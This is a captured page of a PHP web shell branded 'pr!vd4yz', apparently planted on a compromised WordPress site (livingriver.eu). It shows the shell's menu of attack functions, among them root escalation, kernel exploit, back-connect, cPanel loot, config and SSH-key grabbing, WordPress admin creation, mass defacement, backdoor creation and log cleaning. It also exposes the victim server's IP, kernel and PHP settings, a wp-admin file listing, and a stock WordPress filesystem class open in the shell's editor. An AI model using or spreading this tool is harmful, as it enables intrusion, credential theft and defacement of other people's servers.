pr!vd4yz
/sh3ll
t.me/privdayz
./cmd@pr1v
cmd
generate cgi/perl
all d0mains
p4sswd (users)
syml1nk
syml1nk esc4per
m4ss c0nfig gr4pper
c0nfig search3r
safem0d k1ll3r
sql manager
cpanel email reset
cpanel loot
wp auto hunter & admin reset
wp create admin
linux auto r00t
windows ultra admin creat0r bypass
chroot/jailbreak escaper
bc0nn3ct
kernel expl0it
r00t escalate
m4ss d3face
backd00r scanner
backd00r creat0r
z1p/unz1p
r3m0t3 upload
h4sh generat0r
d1s4bled funcs
php1nfo
pr0cess l1st
netst4t
d1sk
cronj0b list
ma1ler
htaccess byp4ss
d0wn adminer
l0g cle4n
ap1 k3y sc4n
ssh k3y f1nder
w4f d3t
http r3q
f1le search
file lock/unlock
/
home
/
hosting
/
livingriver.eu
/
wp-admin
/
includes
/
Linux fastweb 6.10.3 #1 SMP PREEMPT_DYNAMIC Wed Aug 7 16:20:40 WEST 2024 x86_64
[safe mode]
OFF
[d1s4bl3 f7nct1ons]
pcntl_alarm, pcntl_fork, pcntl_waitpid, pcntl_wait, pcntl_wifexited, pcntl_wifstopped, pcntl_wifsignaled, pcntl_wifcontinued, pcntl_wexitstatus, pcntl_wtermsig, pcntl_wstopsig, pcntl_signal, pcntl_signal_get_handler, pcntl_signal_dispatch, pcntl_get_last_error, pcntl_strerror, pcntl_sigprocmask, pcntl_sigwaitinfo, pcntl_sigtimedwait, pcntl_exec, pcntl_getpriority, pcntl_setpriority, pcntl_async_signalsescapeshellarg, escapeshellcmd, exec, passthru, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, shell_exec, system, phpinfo
[h0st]
Linux fastweb 6.10.3 #1 SMP PREEMPT_DYNAMIC Wed Aug 7 16:20:40 WEST 2024 x86_64
[us3r]
[s0ftware]
Apache/2.4.62 (Debian)
[1p]
185.99.235.85
[php]
7.4.26
CURL : ON
SSH2 : OFF
Magic Quotes : OFF
MySQL : ON
MSSQL : OFF
PostgreSQL : ON
Oracle : OFF
CGI : OFF
newFolder
newFile
upFile
up
upFile2
up
fonts
dr-xr-xr-x
admin-filters.php
PHP
-rw-r--r--
7.81
KB
admin.php
PHP
-rw-r--r--
3.54
KB
ajax-actions.php
PHP
-rw-r--r--
147.98
KB
bookmark.php
PHP
-rw-r--r--
11.34
KB
class-automatic-upgrader-skin....
PHP
-rw-r--r--
3.58
KB
class-bulk-plugin-upgrader-ski...
PHP
-rw-r--r--
2.53
KB
class-bulk-theme-upgrader-skin...
PHP
-rw-r--r--
2.6
KB
class-bulk-upgrader-skin.php
PHP
-rw-r--r--
6.59
KB
class-core-upgrader.php
PHP
-rw-r--r--
14.66
KB
class-custom-background.php
PHP
-rw-r--r--
21.11
KB
class-custom-image-header.php
PHP
-rw-r--r--
47.91
KB
class-file-upload-upgrader.php
PHP
-rw-r--r--
4.07
KB
class-ftp-pure.php
PHP
-rw-r--r--
5.3
KB
class-ftp-sockets.php
PHP
-rw-r--r--
8.28
KB
class-ftp.php
PHP
-rw-r--r--
26.66
KB
class-language-pack-upgrader-s...
PHP
-rw-r--r--
2.8
KB
class-language-pack-upgrader.p...
PHP
-rw-r--r--
15.2
KB
class-pclzip.php
PHP
-rw-r--r--
192.09
KB
class-plugin-installer-skin.ph...
PHP
-rw-r--r--
11.76
KB
class-plugin-upgrader-skin.php
PHP
-rw-r--r--
3.2
KB
class-plugin-upgrader.php
PHP
-rw-r--r--
22.79
KB
class-theme-installer-skin.php
PHP
-rw-r--r--
12.43
KB
class-theme-upgrader-skin.php
PHP
-rw-r--r--
4.08
KB
class-theme-upgrader.php
PHP
-rw-r--r--
26.17
KB
class-walker-category-checklis...
PHP
-rw-r--r--
4.78
KB
class-walker-nav-menu-checklis...
PHP
-rw-r--r--
1.16
KB
class-walker-nav-menu-checklis...
PHP
-rw-r--r--
5.5
KB
class-walker-nav-menu-edit.php
PHP
-rw-r--r--
12.94
KB
class-wp-ajax-upgrader-skin.ph...
PHP
-rw-r--r--
4.09
KB
class-wp-application-passwords...
PHP
-rw-r--r--
6.79
KB
class-wp-automatic-updater-cli...
PHP
-rw-r--r--
1.16
KB
class-wp-automatic-updater.php
PHP
-rw-r--r--
59.71
KB
class-wp-comments-list-table.p...
PHP
-rw-r--r--
31.68
KB
class-wp-community-events.php
PHP
-rw-r--r--
18.33
KB
class-wp-debug-data.php
PHP
-rw-r--r--
60.2
KB
class-wp-filesystem-base.php
PHP
-rw-r--r--
23.84
KB
class-wp-filesystem-direct.php
PHP
-rw-r--r--
17.72
KB
class-wp-filesystem-ftpext-wp....
PHP
-rw-r--r--
359
B
class-wp-filesystem-ftpext.php
PHP
-rw-r--r--
22.56
KB
class-wp-filesystem-ftpsockets...
PHP
-rw-r--r--
4.18
KB
class-wp-filesystem-ftpsockets...
PHP
-rw-r--r--
18.05
KB
class-wp-filesystem-ssh2.php
PHP
-rw-r--r--
22.76
KB
class-wp-importer.php
PHP
-rw-r--r--
7.29
KB
class-wp-internal-pointers.php
PHP
-rw-r--r--
4.47
KB
class-wp-links-list-table.php
PHP
-rw-r--r--
8.96
KB
class-wp-list-table-compat.php
PHP
-rw-r--r--
1.46
KB
class-wp-list-table.php
PHP
-rw-r--r--
51.61
KB
class-wp-media-list-table.php
PHP
-rw-r--r--
24.97
KB
class-wp-ms-sites-list-table.p...
PHP
-rw-r--r--
21.5
KB
class-wp-ms-themes-list-table....
PHP
-rw-r--r--
27.62
KB
class-wp-ms-users-list-table.p...
PHP
-rw-r--r--
14.86
KB
class-wp-plugin-install-list-t...
PHP
-rw-r--r--
24.14
KB
class-wp-plugins-list-table.ph...
PHP
-rw-r--r--
56.37
KB
class-wp-post-comments-list-ta...
PHP
-rw-r--r--
1.42
KB
class-wp-posts-list-table.php
PHP
-rw-r--r--
62.3
KB
class-wp-privacy-data-export-r...
PHP
-rw-r--r--
5.43
KB
class-wp-privacy-data-removal-...
PHP
-rw-r--r--
5.58
KB
class-wp-privacy-policy-conten...
PHP
-rw-r--r--
32
KB
class-wp-privacy-requests-tabl...
PHP
-rw-r--r--
13.65
KB
class-wp-screen.php
PHP
-rw-r--r--
36.45
KB
class-wp-site-health-auto-upda...
PHP
-rw-r--r--
13.19
KB
class-wp-site-health.php
PHP
-rw-r--r--
119.68
KB
class-wp-site-icon.php
PHP
-rw-r--r--
6.26
KB
class-wp-terms-list-table.php
PHP
-rw-r--r--
20.69
KB
class-wp-theme-install-list-ta...
PHP
-rw-r--r--
15.37
KB
class-wp-themes-list-table.php
PHP
-rw-r--r--
10.05
KB
class-wp-upgrader-skin.php
PHP
-rw-r--r--
6.94
KB
class-wp-upgrader-skins.php
PHP
-rw-r--r--
1.44
KB
class-wp-upgrader.php
PHP
-rw-r--r--
45.95
KB
class-wp-users-list-table.php
PHP
-rw-r--r--
18.61
KB
comment.php
PHP
-rw-r--r--
5.98
KB
continents-cities.php
PHP
-rw-r--r--
20.06
KB
credits.php
PHP
-rw-r--r--
5.8
KB
dashboard.php
PHP
-rw-r--r--
68.56
KB
deprecated.php
PHP
-rw-r--r--
40.8
KB
edit-tag-messages.php
PHP
-rw-r--r--
1.44
KB
export.php
PHP
-rw-r--r--
24.97
KB
file.php
PHP
-rw-r--r--
96.11
KB
image-edit.php
PHP
-rw-r--r--
42.34
KB
image.php
PHP
-rw-r--r--
40.89
KB
import.php
PHP
-rw-r--r--
6.52
KB
list-table.php
PHP
-rw-r--r--
3.71
KB
media.php
PHP
-rw-r--r--
116.1
KB
menu.php
PHP
-rw-r--r--
9.39
KB
meta-boxes.php
PHP
-rw-r--r--
64.58
KB
misc.php
PHP
-rw-r--r--
45.37
KB
ms-admin-filters.php
PHP
-rw-r--r--
1.27
KB
ms-deprecated.php
PHP
-rw-r--r--
3.68
KB
ms.php
PHP
-rw-r--r--
33.16
KB
nav-menu.php
PHP
-rw-r--r--
47.75
KB
network.php
PHP
-rw-r--r--
26.35
KB
noop.php
PHP
-rw-r--r--
1.12
KB
options.php
PHP
-rw-r--r--
4.15
KB
plugin-install.php
PHP
-rw-r--r--
39.01
KB
plugin-sql.php
PHP
-rw-r--r--
960
B
plugin.php
PHP
-rw-r--r--
90.73
KB
post.php
PHP
-rw-r--r--
79.73
KB
privacy-tools-hashing.php
PHP
-rw-r--r--
1.16
KB
privacy-tools.php
PHP
-rw-r--r--
32.68
KB
revision.php
PHP
-rw-r--r--
15.76
KB
schema.php
PHP
-rw-r--r--
41.67
KB
screen.php
PHP
-rw-r--r--
6.23
KB
taxonomy.php
PHP
-rw-r--r--
8.23
KB
template.php
PHP
-rw-r--r--
96.01
KB
theme-firewall.php
PHP
-rw-r--r--
359
B
theme-install.php
PHP
-rw-r--r--
6.83
KB
theme.php
PHP
-rw-r--r--
46.69
KB
translation-install.php
PHP
-rw-r--r--
8.71
KB
update-core.php
PHP
-rw-r--r--
65.41
KB
update.php
PHP
-rw-r--r--
33.77
KB
upgrade-json.php
PHP
-rw-r--r--
4.18
KB
upgrade.php
PHP
-rw-r--r--
110.44
KB
user.php
PHP
-rw-r--r--
22.96
KB
widgets.php
PHP
-rw-r--r--
10.66
KB
delete
unzip
zip
run
file edit
class-wp-filesystem-direct.php
×
<?php /** * WordPress Direct Filesystem. * * @package WordPress * @subpackage Filesystem */ /** * WordPress Filesystem Class for direct PHP file and folder manipulation. * * @since 2.5.0 * * @see WP_Filesystem_Base */ class WP_Filesystem_Direct extends WP_Filesystem_Base { /** * Constructor. * * @since 2.5.0 * * @param mixed $arg Not used. */ public function __construct( $arg ) { $this->method = 'direct'; $this->errors = new WP_Error(); } /** * Reads entire file into a string. * * @since 2.5.0 * * @param string $file Name of the file to read. * @return string|false Read data on success, false on failure. */ public function get_contents( $file ) { return @file_get_contents( $file ); } /** * Reads entire file into an array. * * @since 2.5.0 * * @param string $file Path to the file. * @return array|false File contents in an array on success, false on failure. */ public function get_contents_array( $file ) { return @file( $file ); } /** * Writes a string to a file. * * @since 2.5.0 * * @param string $file Remote path to the file where to write the data. * @param string $contents The data to write. * @param int|false $mode Optional. The file permissions as octal number, usually 0644. * Default false. * @return bool True on success, false on failure. */ public function put_contents( $file, $contents, $mode = false ) { $fp = @fopen( $file, 'wb' ); if ( ! $fp ) { return false; } mbstring_binary_safe_encoding(); $data_length = strlen( $contents ); $bytes_written = fwrite( $fp, $contents ); reset_mbstring_encoding(); fclose( $fp ); if ( $data_length !== $bytes_written ) { return false; } $this->chmod( $file, $mode ); return true; } /** * Gets the current working directory. * * @since 2.5.0 * * @return string|false The current working directory on success, false on failure. */ public function cwd() { return getcwd(); } /** * Changes current directory. * * @since 2.5.0 * * @param string $dir The new current directory. * @return bool True on success, false on failure. */ public function chdir( $dir ) { return @chdir( $dir ); } /** * Changes the file group. * * @since 2.5.0 * * @param string $file Path to the file. * @param string|int $group A group name or number. * @param bool $recursive Optional. If set to true, changes file group recursively. * Default false. * @return bool True on success, false on failure. */ public function chgrp( $file, $group, $recursive = false ) { if ( ! $this->exists( $file ) ) { return false; } if ( ! $recursive ) { return chgrp( $file, $group ); } if ( ! $this->is_dir( $file ) ) { return chgrp( $file, $group ); } // Is a directory, and we want recursive. $file = trailingslashit( $file ); $filelist = $this->dirlist( $file ); foreach ( $filelist as $filename ) { $this->chgrp( $file . $filename, $group, $recursive ); } return true; } /** * Changes filesystem permissions. * * @since 2.5.0 * * @param string $file Path to the file. * @param int|false $mode Optional. The permissions as octal number, usually 0644 for files, * 0755 for directories. Default false. * @param bool $recursive Optional. If set to true, changes file permissions recursively. * Default false. * @return bool True on success, false on failure. */ public function chmod( $file, $mode = false, $recursive = false ) { if ( ! $mode ) { if ( $this->is_file( $file ) ) { $mode = FS_CHMOD_FILE; } elseif ( $this->is_dir( $file ) ) { $mode = FS_CHMOD_DIR; } else { return false; } } if ( ! $recursive || ! $this->is_dir( $file ) ) { return chmod( $file, $mode ); } // Is a directory, and we want recursive. $file = trailingslashit( $file ); $filelist = $this->dirlist( $file ); foreach ( (array) $filelist as $filename => $filemeta ) { $this->chmod( $file . $filename, $mode, $recursive ); } return true; } /** * Changes the owner of a file or directory. * * @since 2.5.0 * * @param string $file Path to the file or directory. * @param string|int $owner A user name or number. * @param bool $recursive Optional. If set to true, changes file owner recursively. * Default false. * @return bool True on success, false on failure. */ public function chown( $file, $owner, $recursive = false ) { if ( ! $this->exists( $file ) ) { return false; } if ( ! $recursive ) { return chown( $file, $owner ); } if ( ! $this->is_dir( $file ) ) { return chown( $file, $owner ); } // Is a directory, and we want recursive. $filelist = $this->dirlist( $file ); foreach ( $filelist as $filename ) { $this->chown( $file . '/' . $filename, $owner, $recursive ); } return true; } /** * Gets the file owner. * * @since 2.5.0 * * @param string $file Path to the file. * @return string|false Username of the owner on success, false on failure. */ public function owner( $file ) { $owneruid = @fileowner( $file ); if ( ! $owneruid ) { return false; } if ( ! function_exists( 'posix_getpwuid' ) ) { return $owneruid; } $ownerarray = posix_getpwuid( $owneruid ); if ( ! $ownerarray ) { return false; } return $ownerarray['name']; } /** * Gets the permissions of the specified file or filepath in their octal format. * * FIXME does not handle errors in fileperms() * * @since 2.5.0 * * @param string $file Path to the file. * @return string Mode of the file (the last 3 digits). */ public function getchmod( $file ) { return substr( decoct( @fileperms( $file ) ), -3 ); } /** * Gets the file's group. * * @since 2.5.0 * * @param string $file Path to the file. * @return string|false The group on success, false on failure. */ public function group( $file ) { $gid = @filegroup( $file ); if ( ! $gid ) { return false; } if ( ! function_exists( 'posix_getgrgid' ) ) { return $gid; } $grouparray = posix_getgrgid( $gid ); if ( ! $grouparray ) { return false; } return $grouparray['name']; } /** * Copies a file. * * @since 2.5.0 * * @param string $source Path to the source file. * @param string $destination Path to the destination file. * @param bool $overwrite Optional. Whether to overwrite the destination file if it exists. * Default false. * @param int|false $mode Optional. The permissions as octal number, usually 0644 for files, * 0755 for dirs. Default false. * @return bool True on success, false on failure. */ public function copy( $source, $destination, $overwrite = false, $mode = false ) { if ( ! $overwrite && $this->exists( $destination ) ) { return false; } $rtval = copy( $source, $destination ); if ( $mode ) { $this->chmod( $destination, $mode ); } return $rtval; } /** * Moves a file or directory. * * After moving files or directories, OPcache will need to be invalidated. * * If moving a directory fails, `copy_dir()` can be used for a recursive copy. * * Use `move_dir()` for moving directories with OPcache invalidation and a * fallback to `copy_dir()`. * * @since 2.5.0 * * @param string $source Path to the source file. * @param string $destination Path to the destination file. * @param bool $overwrite Optional. Whether to overwrite the destination file if it exists. * Default false. * @return bool True on success, false on failure. */ public function move( $source, $destination, $overwrite = false ) { if ( ! $overwrite && $this->exists( $destination ) ) { return false; } if ( $overwrite && $this->exists( $destination ) && ! $this->delete( $destination, true ) ) { // Can't overwrite if the destination couldn't be deleted. return false; } // Try using rename first. if that fails (for example, source is read only) try copy. if ( @rename( $source, $destination ) ) { return true; } // Backward compatibility: Only fall back to `::copy()` for single files. if ( $this->is_file( $source ) && $this->copy( $source, $destination, $overwrite ) && $this->exists( $destination ) ) { $this->delete( $source ); return true; } else { return false; } } /** * Deletes a file or directory. * * @since 2.5.0 * * @param string $file Path to the file or directory. * @param bool $recursive Optional. If set to true, deletes files and folders recursively. * Default false. * @param string|false $type Type of resource. 'f' for file, 'd' for directory. * Default false. * @return bool True on success, false on failure. */ public function delete( $file, $recursive = false, $type = false ) { if ( empty( $file ) ) { // Some filesystems report this as /, which can cause non-expected recursive deletion of all files in the filesystem. return false; } $file = str_replace( '\\', '/', $file ); // For Win32, occasional problems deleting files otherwise. if ( 'f' === $type || $this->is_file( $file ) ) { return @unlink( $file ); } if ( ! $recursive && $this->is_dir( $file ) ) { return @rmdir( $file ); } // At this point it's a folder, and we're in recursive mode. $file = trailingslashit( $file ); $filelist = $this->dirlist( $file, true ); $retval = true; if ( is_array( $filelist ) ) { foreach ( $filelist as $filename => $fileinfo ) { if ( ! $this->delete( $file . $filename, $recursive, $fileinfo['type'] ) ) { $retval = false; } } } if ( file_exists( $file ) && ! @rmdir( $file ) ) { $retval = false; } return $retval; } /** * Checks if a file or directory exists. * * @since 2.5.0 * * @param string $path Path to file or directory. * @return bool Whether $path exists or not. */ public function exists( $path ) { return @file_exists( $path ); } /** * Checks if resource is a file. * * @since 2.5.0 * * @param string $file File path. * @return bool Whether $file is a file. */ public function is_file( $file ) { return @is_file( $file ); } /** * Checks if resource is a directory. * * @since 2.5.0 * * @param string $path Directory path. * @return bool Whether $path is a directory. */ public function is_dir( $path ) { return @is_dir( $path ); } /** * Checks if a file is readable. * * @since 2.5.0 * * @param string $file Path to file. * @return bool Whether $file is readable. */ public function is_readable( $file ) { return @is_readable( $file ); } /** * Checks if a file or directory is writable. * * @since 2.5.0 * * @param string $path Path to file or directory. * @return bool Whether $path is writable. */ public function is_writable( $path ) { return @is_writable( $path ); } /** * Gets the file's last access time. * * @since 2.5.0 * * @param string $file Path to file. * @return int|false Unix timestamp representing last access time, false on failure. */ public function atime( $file ) { return @fileatime( $file ); } /** * Gets the file modification time. * * @since 2.5.0 * * @param string $file Path to file. * @return int|false Unix timestamp representing modification time, false on failure. */ public function mtime( $file ) { return @filemtime( $file ); } /** * Gets the file size (in bytes). * * @since 2.5.0 * * @param string $file Path to file. * @return int|false Size of the file in bytes on success, false on failure. */ public function size( $file ) { return @filesize( $file ); } /** * Sets the access and modification times of a file. * * Note: If $file doesn't exist, it will be created. * * @since 2.5.0 * * @param string $file Path to file. * @param int $time Optional. Modified time to set for file. * Default 0. * @param int $atime Optional. Access time to set for file. * Default 0. * @return bool True on success, false on failure. */ public function touch( $file, $time = 0, $atime = 0 ) { if ( 0 === $time ) { $time = time(); } if ( 0 === $atime ) { $atime = time(); } return touch( $file, $time, $atime ); } /** * Creates a directory. * * @since 2.5.0 * * @param string $path Path for new directory. * @param int|false $chmod Optional. The permissions as octal number (or false to skip chmod). * Default false. * @param string|int|false $chown Optional. A user name or number (or false to skip chown). * Default false. * @param string|int|false $chgrp Optional. A group name or number (or false to skip chgrp). * Default false. * @return bool True on success, false on failure. */ public function mkdir( $path, $chmod = false, $chown = false, $chgrp = false ) { // Safe mode fails with a trailing slash under certain PHP versions. $path = untrailingslashit( $path ); if ( empty( $path ) ) { return false; } if ( ! $chmod ) { $chmod = FS_CHMOD_DIR; } if ( ! @mkdir( $path ) ) { return false; } $this->chmod( $path, $chmod ); if ( $chown ) { $this->chown( $path, $chown ); } if ( $chgrp ) { $this->chgrp( $path, $chgrp ); } return true; } /** * Deletes a directory. * * @since 2.5.0 * * @param string $path Path to directory. * @param bool $recursive Optional. Whether to recursively remove files/directories. * Default false. * @return bool True on success, false on failure. */ public function rmdir( $path, $recursive = false ) { return $this->delete( $path, $recursive ); } /** * Gets details for files in a directory or a specific file. * * @since 2.5.0 * * @param string $path Path to directory or file. * @param bool $include_hidden Optional. Whether to include details of hidden ("." prefixed) files. * Default true. * @param bool $recursive Optional. Whether to recursively include file details in nested directories. * Default false. * @return array|false { * Array of arrays containing file information. False if unable to list directory contents. * * @type array ...$0 { * Array of file information. Note that some elements may not be available on all filesystems. * * @type string $name Name of the file or directory. * @type string $perms *nix representation of permissions. * @type string $permsn Octal representation of permissions. * @type false $number File number. Always false in this context. * @type string|false $owner Owner name or ID, or false if not available. * @type string|false $group File permissions group, or false if not available. * @type int|string|false $size Size of file in bytes. May be a numeric string. * False if not available. * @type int|string|false $lastmodunix Last modified unix timestamp. May be a numeric string. * False if not available. * @type string|false $lastmod Last modified month (3 letters) and day (without leading 0), or * false if not available. * @type string|false $time Last modified time, or false if not available. * @type string $type Type of resource. 'f' for file, 'd' for directory, 'l' for link. * @type array|false $files If a directory and `$recursive` is true, contains another array of * files. False if unable to list directory contents. * } * } */ public function dirlist( $path, $include_hidden = true, $recursive = false ) { if ( $this->is_file( $path ) ) { $limit_file = basename( $path ); $path = dirname( $path ); } else { $limit_file = false; } if ( ! $this->is_dir( $path ) || ! $this->is_readable( $path ) ) { return false; } $dir = dir( $path ); if ( ! $dir ) { return false; } $path = trailingslashit( $path ); $ret = array(); while ( false !== ( $entry = $dir->read() ) ) { $struc = array(); $struc['name'] = $entry; if ( '.' === $struc['name'] || '..' === $struc['name'] ) { continue; } if ( ! $include_hidden && '.' === $struc['name'][0] ) { continue; } if ( $limit_file && $struc['name'] !== $limit_file ) { continue; } $struc['perms'] = $this->gethchmod( $path . $entry ); $struc['permsn'] = $this->getnumchmodfromh( $struc['perms'] ); $struc['number'] = false; $struc['owner'] = $this->owner( $path . $entry ); $struc['group'] = $this->group( $path . $entry ); $struc['size'] = $this->size( $path . $entry ); $struc['lastmodunix'] = $this->mtime( $path . $entry ); $struc['lastmod'] = gmdate( 'M j', $struc['lastmodunix'] ); $struc['time'] = gmdate( 'h:i:s', $struc['lastmodunix'] ); $struc['type'] = $this->is_dir( $path . $entry ) ? 'd' : 'f'; if ( 'd' === $struc['type'] ) { if ( $recursive ) { $struc['files'] = $this->dirlist( $path . $struc['name'], $include_hidden, $recursive ); } else { $struc['files'] = array(); } } $ret[ $struc['name'] ] = $struc; } $dir->close(); unset( $dir ); return $ret; } }
Save
Close
Ln 1, Col 1